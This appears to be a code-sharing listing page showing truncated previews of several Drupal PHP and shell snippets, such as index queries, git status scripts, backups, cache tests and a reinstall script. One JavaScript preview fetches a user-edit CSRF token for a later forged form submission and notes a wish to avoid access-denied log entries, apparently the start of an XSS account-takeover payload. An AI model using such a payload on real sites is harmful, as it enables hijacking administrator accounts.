This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$entity_type = 'node'; | |
$entity_id = mynodeid; | |
$table = apachesolr_get_indexer_table($entity_type); | |
$env_id = apachesolr_default_environment(); | |
$query = db_select($table, 'aie') | |
->fields('aie') | |
->condition('aie.entity_id', $entity_id, '='); | |
if ($table == 'apachesolr_index_entities') { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Test for the presence of jquery. | |
if (typeof jQuery == 'function') { | |
// Fetch a correct token from user/1/edit because we will need it to | |
// successfully submit the user edit form later. | |
// TODO: Include a check to increase the chance that the current user is admin, | |
// which will reduce the number of access denied error messages in the log. | |
jQuery.get(Drupal.settings.basePath + 'user/7/edit', | |
function (data, status) { | |
if (status == 'success') { | |
// Extract the token and other required data |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
for i in *.git ; do | |
( cd $i | |
RES=$(git status | grep -E '^# (Changes|Changed|Untracked)') | |
STAT="" | |
grep -e 'Untracked' <<<${RES} >/dev/null 2>&1 | |
if [ $? -eq 0 ] ; then | |
STAT="[Untracked]" | |
fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# usage: $0 source_dir [source_dir] ... | |
# where source_dir args are directories containing git repositories | |
red="\033[00;31m" | |
green="\033[00;32m" | |
yellow="\033[00;33m" | |
blue="\033[00;34m" | |
purple="\033[00;35m" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
define('TEST_CACHE_LIFETIME', 10); // seconds | |
if (!defined('REQUEST_TIME')) { | |
// REQUEST_TIME is in D7 but not D6 | |
define('REQUEST_TIME', time()); | |
} | |
print "\n###\nrunning cache test at " . REQUEST_TIME . "\n"; | |
$reset_cache = FALSE; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @file | |
* Utilities for use in protecting an environment via basic auth or IP whitelist. | |
*/ | |
function ac_protect_this_site() { | |
global $conf; | |
$client_ip = ip_address(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @file | |
* Administrative tasks for My module. | |
*/ | |
/** | |
* Page callback for Batch example form. | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
TMP="/tmp" | |
DB_USER="root" | |
DB_PASSWD="password" | |
SITES_DIR="/var/www" | |
S3_BUCKET="s3://bucket-name" | |
DATE=$(date +%Y-%m-%d) | |
# Backup all databases to S3 | |
for DB in $(mysql --user=$DB_USER --password=$DB_PASSWD -e 'show databases' -s --skip-column-names|grep -Ev "^(information_schema|performance_schema|mysql)$"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @file | |
* Custom Drush integration. | |
*/ | |
/** | |
* Implements hook_drush_command(). | |
* | |
* @return |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Removes an existing Drupal 8 install, then install again. | |
# Requires Drush 7 - https://github.com/drush-ops/drush | |
# | |
# Run this script from the docroot of a Drupal 8 checkout. | |
# Installs to mysql://localhost/drupal, user 1 user/pass is admin/admin. | |
if [ ! -e ./core/core.services.yml ] | |
then |